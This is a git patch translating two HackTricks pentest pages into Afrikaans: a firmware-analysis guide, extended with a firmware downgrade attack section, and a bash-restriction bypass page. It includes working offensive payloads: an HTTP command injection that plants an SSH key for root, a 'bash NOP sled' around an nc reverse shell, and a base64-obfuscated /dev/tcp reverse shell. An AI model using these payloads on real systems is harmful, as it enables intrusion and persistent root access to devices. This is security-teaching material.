From ff61d0e7250ce15f79ae81fea745e6c29995d157 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 28 Jul 2025 16:13:48 +0000 Subject: [PATCH] Translated ['src/hardware-physical-access/firmware-analysis/README.md', --- .../firmware-analysis/README.md | 112 ++++++++++++------ .../bypass-bash-restrictions/README.md | 32 ++++- 2 files changed, 105 insertions(+), 39 deletions(-) diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index 56284d3db..9fe92558c 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -1,16 +1,16 @@ -# Firmware Analise +# Firmware Analysis {{#include ../../banners/hacktricks-training.md}} ## **Inleiding** -Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel vitale instruksies kan verkry vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede. +Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang kan verkry tot noodsaaklike instruksies vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede. ## **Inligting Versameling** **Inligting versameling** is 'n kritieke aanvanklike stap in die begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik. Hierdie proses behels die versameling van data oor: -- Die CPU-argitektuur en bedryfstelsel wat dit loop +- Die CPU-argitektuur en bedryfstelsel wat dit gebruik - Bootloader-spesifikasies - Hardeware-opstelling en datasheets - Kodebasis-metrieke en bronliggings @@ -19,27 +19,27 @@ Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk - Argitektoniese en vloediagramme - Sekuriteitsassessering en geïdentifiseerde kwesbaarhede -Vir hierdie doel is **oopbron intelligensie (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare oopbron sagtewarekomponente deur handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind. +Vir hierdie doel is **open-source intelligence (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare open-source sagtewarekomponente deur middel van handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind. -## **Die Firmware Verkryging** +## **Verkryging van die Firmware** -Om firmware te verkry kan op verskeie maniere benader word, elk met sy eie vlak van kompleksiteit: +Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit: - **Direk** van die bron (ontwikkelaars, vervaardigers) -- **Bou** dit volgens die verskafde instruksies -- **Laai** dit af van amptelike ondersteuningswebwerwe -- Gebruik **Google dork** navrae om gehoste firmware-lêers te vind +- **Bou** dit vanaf verskafde instruksies +- **Aflaai** van amptelike ondersteuningswebwerwe +- Gebruik van **Google dork** navrae om gehoste firmware-lêers te vind - Toegang tot **cloud storage** direk, met gereedskap soos [S3Scanner](https://github.com/sa7mon/S3Scanner) -- Intercepteer **opdaterings** via man-in-the-middle tegnieke -- **Ekstraheer** dit van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit** -- **Sniff** vir opdateringsversoeke binne toestelkommunikasie -- Identifiseer en gebruik **hardcoded opdatering eindpunte** -- **Dump** van die bootloader of netwerk -- **Verwyder en lees** die stoorchip, wanneer alles anders misluk, met toepaslike hardeware gereedskap +- Interseptering van **opdaterings** via man-in-the-middle tegnieke +- **Uittrek** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit** +- **Sniffing** vir opdateringsversoeke binne toestelkommunikasie +- Identifisering en gebruik van **hardcoded update endpoints** +- **Dumping** van die bootloader of netwerk +- **Verwydering en lees** van die stoorchip, wanneer alles anders misluk, met toepaslike hardewaregereedskap -## Analiseer die firmware +## Analisering van die firmware -Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te hanteer. Verskillende gereedskap wat jy daarvoor kan gebruik: +Nou dat jy **die firmware het**, moet jy inligting daaroor uittrek om te weet hoe om dit te hanteer. Verskillende gereedskap wat jy daarvoor kan gebruik: ```bash file strings -n8 @@ -48,7 +48,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E `, as die entropy laag is, is dit waarskynlik nie versleuteld nie. As die entropy hoog is, is dit waarskynlik versleuteld (of op een of ander manier gecomprimeer). +As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E `, as die entropy laag is, is dit waarskynlik nie geënkripteer nie. As die entropy hoog is, is dit waarskynlik geënkripteer (of op een of ander manier gecomprimeer). Boonop kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is** te onttrek: @@ -65,7 +65,7 @@ Binwalk onttrek dit gewoonlik binne 'n **map wat as die lêerstelseltipe genoem #### Handmatige Lêerstelsel Onttrekking -Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te sny en die lêerstelsel **handmatig te onttrek** volgens sy tipe met die stappe hieronder. +Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te **karve** en die lêerstelsel volgens sy tipe handmatig te onttrek met die stappe hieronder. ``` $ binwalk DIR850L_REVB.bin @@ -91,7 +91,7 @@ Alternatiewelik kan die volgende opdrag ook uitgevoer word. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` -- Vir squashfs (gebruik in die voorbeeld hierbo) +- Vir squashfs (gebruik in die bogenoemde voorbeeld) `$ unsquashfs dir.squashfs` @@ -111,13 +111,13 @@ Lêers sal in die "`squashfs-root`" gids wees daarna. `$ ubidump.py ` -## Analise van Firmware +## Analisering van Firmware Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware beeld te analiseer en te onttrek. -### Begin Analise Gereedskap +### Beginanalise Gereedskap -'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na ``). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie en lêerstelsel besonderhede te verstaan: +'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na ``). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie- en lêerstelselbesonderhede te verstaan: ```bash file strings -n8 @@ -126,13 +126,13 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head #useful for finding signatures in the header fdisk -lu #lists partitions and filesystems, if there are multiple ``` -Om die versleutelingstatus van die beeld te evalueer, word die **entropy** met `binwalk -E ` nagegaan. Lae entropy dui op 'n gebrek aan versleuteling aan, terwyl hoë entropy moontlike versleuteling of kompressie aandui. +Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E `. Lae entropy dui op 'n gebrek aan versleuteling, terwyl hoë entropy moontlike versleuteling of kompressie aandui. -Vir die onttrekking van **ingebedde lêers** word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel. +Vir die onttrekking van **ingebedde lêers**, word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel. ### Onttrekking van die Lêerstelsel -Met `binwalk -ev ` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêerstelseltipe genoem word (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstelseloffset te vind, gevolg deur die `dd` opdrag om die lêerstelsel uit te sny: +Met `binwalk -ev ` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêerstelseltipe genoem word (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstelseloffset te lokaliseer, gevolg deur die `dd` opdrag om die lêerstelsel uit te sny: ```bash $ binwalk DIR850L_REVB.bin @@ -144,7 +144,7 @@ Daarna, afhangende van die lêerstelseltipe (bv. squashfs, cpio, jffs2, ubifs), Met die lêerstelsel onttrek, begin die soektog na sekuriteitsfoute. Aandag word gegee aan onveilige netwerk daemons, hardgecodeerde akrediteer, API eindpunte, opdatering bediener funksies, nie-gecompileerde kode, opstart skripte, en gecompileerde binêre vir off-line analise. -**Belangrike plekke** en **items** om te ondersoek sluit in: +**Belangrike plekke** en **items** om te inspekteer sluit in: - **etc/shadow** en **etc/passwd** vir gebruikers akrediteer - SSL sertifikate en sleutels in **etc/ssl** @@ -164,11 +164,11 @@ Sowel die bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, ## Emulering van Firmware vir Dynamiese Analise -Die proses van emulering van firmware stel **dynamiese analise** in staat of van 'n toestel se werking of 'n individuele program. Hierdie benadering kan uitdagings ondervind met hardeware of argitektuur afhanklikhede, maar die oordrag van die wortel lêerstelsel of spesifieke binêre na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer. +Die proses van emulering van firmware stel **dynamiese analise** in staat, hetsy van 'n toestel se werking of 'n individuele program. Hierdie benadering kan uitdagings ondervind met hardeware of argitektuur afhanklikhede, maar die oordrag van die wortel lêerstelsel of spesifieke binêre na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer. ### Emulering van Individuele Binêre -Vir die ondersoek van enkele programme, is dit noodsaaklik om die program se endianness en CPU argitektuur te identifiseer. +Vir die ondersoek van enkele programme, is dit van kardinale belang om die program se endianness en CPU argitektuur te identifiseer. #### Voorbeeld met MIPS Argitektuur @@ -180,7 +180,7 @@ En om die nodige emulasie-instrumente te installeer: ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaries sou `qemu-mipsel` die keuse wees. +Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaries, sou `qemu-mipsel` die keuse wees. #### ARM Argitektuur Emulasie @@ -188,11 +188,11 @@ Vir ARM binaries is die proses soortgelyk, met die `qemu-arm` emulator wat gebru ### Volle Stelsel Emulasie -Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volle firmware emulasie, wat die proses outomatiseer en help met dinamiese analise. +Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volle firmware emulasie, outomatiseer die proses en help met dinamiese analise. ## Dinamiese Analise in Praktyk -Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste ontgin, en opstartlader kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer. +Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste benut, en opstartlaaier kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer. ## Tydren Analise Tegnieke @@ -211,9 +211,52 @@ Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS] - [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help om sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT) toestelle uit te voer. Dit spaar jou baie tyd deur 'n vooraf-gekonfigureerde omgewing met al die nodige gereedskap te bied. - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsing bedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met firmware sekuriteitstoetsing gereedskap. -## Kwetsbare firmware om te oefen +## Firmware Downgrade Aanvalle & Onveilige Opdatering Meganismes -Om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware projekte as 'n beginpunt. +Selfs wanneer 'n verskaffer kriptografiese handtekening kontroles vir firmware beelde implementeer, **word weergawe terugrol (downgrade) beskerming dikwels weggelaat**. Wanneer die opstart- of herstel-laaier slegs die handtekening met 'n ingebedde publieke sleutel verifieer, maar nie die *weergawe* (of 'n monotone teller) van die beeld wat geflits word, vergelyk nie, kan 'n aanvaller wettig 'n **ouer, kwesbare firmware wat steeds 'n geldige handtekening het** installeer en dus gepatchte kwesbaarhede weer inbring. + +Tipiese aanval werkvloei: + +1. **Verkry 'n ouer onderteken beeld** +* Grijp dit van die verskaffer se publieke aflaaiportaal, CDN of ondersteuningsite. +* Trek dit uit metgesel mobiele/desktop toepassings (bv. binne 'n Android APK onder `assets/firmware/`). +* Verkry dit van derdeparty repositories soos VirusTotal, Internet argiewe, forums, ens. +2. **Laai of dien die beeld aan die toestel** via enige blootgestelde opdateringskanaal: +* Web UI, mobiele-app API, USB, TFTP, MQTT, ens. +* Baie verbruikers IoT toestelle stel *onaangetekende* HTTP(S) eindpunte bloot wat Base64-gecodeerde firmware blobs aanvaar, dekodeer dit bediener-kant en aktiveer herstel/opgradering. +3. Na die terugrol, benut 'n kwesbaarheid wat in die nuwer weergawe gepatch is (byvoorbeeld 'n opdrag-inspuitfilter wat later bygevoeg is). +4. Opsioneel flits die nuutste beeld terug of deaktiveer opdaterings om opsporing te vermy sodra volharding verkry is. + +### Voorbeeld: Opdrag Inspuiting Na Terugrol +```http +POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1 +Host: 192.168.0.1 +Content-Type: application/octet-stream +Content-Length: 0 +``` +In die kwesbare (afgegradeerde) firmware, word die `md5` parameter direk in 'n shell-opdrag gekonkateneer sonder sanitisering, wat die inspuiting van arbitrêre opdragte moontlik maak (hier – om SSH-sleutel-gebaseerde worteltoegang te aktiveer). Later firmware weergawes het 'n basiese karakterfilter bekendgestel, maar die afwesigheid van afgraderingsbeskerming maak die regstelling nutteloos. + +### Uittreksel van Firmware Uit Mobiele Toepassings + +Baie verskaffers bundel volle firmware-beelde binne hul metgesel mobiele toepassings sodat die app die toestel oor Bluetooth/Wi-Fi kan opdateer. Hierdie pakkette word algemeen ongeënkripteerd in die APK/APEX onder paaie soos `assets/fw/` of `res/raw/` gestoor. Gereedskap soos `apktool`, `ghidra`, of selfs gewone `unzip` laat jou toe om ondertekende beelde te trek sonder om die fisiese hardeware aan te raak. +``` +$ apktool d vendor-app.apk -o vendor-app +$ ls vendor-app/assets/firmware +firmware_v1.3.11.490_signed.bin +``` +### Kontrolelys vir die Assessering van Opdateringslogika + +* Is die vervoer/identifikasie van die *opdatering eindpunt* voldoende beskerm (TLS + identifikasie)? +* Vergelyk die toestel **weergawe nommers** of 'n **monotoniese anti-rollback teenaar** voordat dit geflashed word? +* Word die beeld binne 'n veilige opstartketting geverifieer (bv. handtekeninge nagegaan deur ROM kode)? +* Voer gebruikerslandkode addisionele gesondheidskontroles uit (bv. toegelate partisiekaart, modelnommer)? +* Hergebruik *gedeeltelike* of *rugsteun* opdateringsvloei dieselfde valideringslogika? + +> 💡 As enige van die bogenoemde ontbreek, is die platform waarskynlik kwesbaar vir rollback-aanvalle. + +## Kwesbare firmware om te oefen + +Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware projekte as 'n beginpunt. - OWASP IoTGoat - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) @@ -232,6 +275,7 @@ Om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware pr - [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) +- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) ## Opleiding en Sertifikaat diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index 16c4f5ed7..bf77caa5f 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Algemene Beperkings Omseilings +## Algemene Beperkings Bypasses -### Terugkeer Skulp +### Terugskakel Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' @@ -140,7 +140,7 @@ echo ${PATH:0:1} #/ ``` ### DNS data exfiltration -Jy kan **burpcollab** of [**pingb**](http://pingb.in) gebruik, byvoorbeeld. +Jy kan **burpcollab** of [**pingb**](http://pingb.in) gebruik byvoorbeeld. ### Builtins @@ -294,9 +294,9 @@ ln /f* 'sh x' 'sh g' ``` -## Lees-Alleen/Geen-uitvoering/Distroless Bypass +## Lees-Alleen/Geen Exec/Distroless Bypass -As jy binne 'n lêerstelsel is met die **lees-alleen en geen-uitvoering beskermings** of selfs in 'n distroless houer, is daar steeds maniere om **arbitraire binaire lêers uit te voer, selfs 'n shell!:** +As jy binne 'n lêerstelsel is met die **lees-alleen en geen exec beskermings** of selfs in 'n distroless houer, is daar steeds maniere om **arbitraire binaries uit te voer, selfs 'n shell!:** {{#ref}} bypass-fs-protections-read-only-no-exec-distroless/ @@ -308,6 +308,26 @@ bypass-fs-protections-read-only-no-exec-distroless/ ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} +## Ruimte-gebaseerde Bash NOP Sled ("Bashsledding") + +Wanneer 'n kwesbaarheid jou toelaat om gedeeltelik 'n argument te beheer wat uiteindelik `system()` of 'n ander shell bereik, mag jy nie die presiese offset weet waar uitvoering begin om jou payload te lees nie. Tradisionele NOP sleds (bv. `\x90`) werk **nie** in shell-sintaksis nie, maar Bash sal onskadelik lei spasie voor die uitvoering van 'n opdrag ignoreer. + +Daarom kan jy 'n *NOP sled vir Bash* skep deur jou werklike opdrag te prefix met 'n lang reeks spasië of tab karakters: +```bash +# Payload sprayed into an environment variable / NVRAM entry +" nc -e /bin/sh 10.0.0.1 4444" +# 16× spaces ───┘ ↑ real command +``` +As 'n ROP-ketting (of enige geheue-korrosie-primitief) die instruksie-aanwyser enige plek binne die ruimteblok land, sal die Bash-parsser eenvoudig die spasie oorslaan totdat dit by `nc` kom, wat jou opdrag betroubaar uitvoer. + +Praktiese gebruiksgevalle: + +1. **Geheue-gemapte konfigurasie-blobs** (bv. NVRAM) wat oor prosesse toeganklik is. +2. Situasies waar die aanvaller nie NULL-byte kan skryf om die payload te belyn nie. +3. Ingebedde toestelle waar slegs BusyBox `ash`/`sh` beskikbaar is – hulle ignoreer ook lei-spasies. + +> 🛠️ Kombineer hierdie truuk met ROP gadgets wat `system()` aanroep om die ontploffingsbetroubaarheid op geheue-beperkte IoT-roeters dramaties te verhoog. + ## Verwysings & Meer - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) @@ -315,4 +335,6 @@ bypass-fs-protections-read-only-no-exec-distroless/ - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju +- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) + {{#include ../../banners/hacktricks-training.md}}